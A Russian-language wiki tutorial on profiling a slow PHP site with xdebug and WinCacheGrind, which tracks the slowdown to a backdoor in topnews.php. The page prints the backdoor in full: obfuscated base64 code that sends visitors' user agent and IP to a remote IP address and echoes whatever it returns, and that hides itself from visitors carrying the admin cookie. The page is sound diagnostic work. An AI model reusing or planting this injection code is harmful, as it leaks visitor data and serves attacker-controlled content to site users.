PHP xdebug

Материал из poiuty wiki
Перейти к: навигация, поиск

Клиент жалуется, что его сайт стал работать очень медленно. Нагрузка на VPS - нормальная, в логах ничего странного.
При этом, клиент настаивает, что ничего с сайтами не делал и вдруг, внезапно, все сломалось.

Начнем разбираться. Установим php5-xdebug. И скачаем [WinCacheGrind]

apt-get install php5-xdebug

Отредактируем конфиг php5-xdebug. Находится он /etc/php5/conf.d/xdebug.ini

xdebug.profiler_enable_trigger=On
xdebug.profiler_output_dir=/tmp

Перезагружаем apache. И далее открываем url c параметром XDEBUG_PROFILE

/etc/init.d/apache2 restart
https://localhost/script.php?XDEBUG_PROFILE

Теперь переходим в /tmp и находим cachegrind.out.N - скачиваем и открываем его через WinCacheGrind. И получаем следующие.
xdebug1.png

Нажимаем по .../init.php и получаем информацию о скрипте, который так долго выполняется - topnews.php
Теперь остается открыть его и почитать исходный код.
xdebug2.png

Нашли вот такой замечательный бекдор.

function showall($id) {
    $id = intval($id);
    $rtn = $id + date("j");
    return $rtn;
}
 
function sql_safe($in) {
    if (showall(64) < 1024) {
    $rtn = base64_decode($in);
    return $rtn;
    }
}
function collectnews($newsid) {
    if (date("j") - $newsid > 320 ) {
        $rtn = false;
    } else {
    $get = sql_safe("aHR0cDovLzE5NS4xODkuMjI2LjM2L2dldF9hcGkucGhw")."?br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);
    if (!isset($_COOKIE[sql_safe("ZGxlX3Bhc3N3b3Jk")])) {
    echo @file_get_contents($get);
    }
    }
}
collectnews (date("j"));

Расшифруем base64 и получим.

aHR0cDovLzE5NS4xODkuMjI2LjM2L2dldF9hcGkucGhw -> https://195.189.226.36/get_api.php

Хост бекдора - лежит. В итоге file_get_contents долго пытается до него достучаться и завершается по таймауту.

XDEBUG_PROFILE

Получить out файл можно -> отправив COOKIE, GET, POST = XDEBUG_PROFILE.
Иногда, очень удобно использовать COOKIE.

<?
setcookie ("XDEBUG_PROFILE", "1", time() + 3600);
echo $_COOKIE['XDEBUG_PROFILE'];

Далее просто открываем страницу и получаем out файл.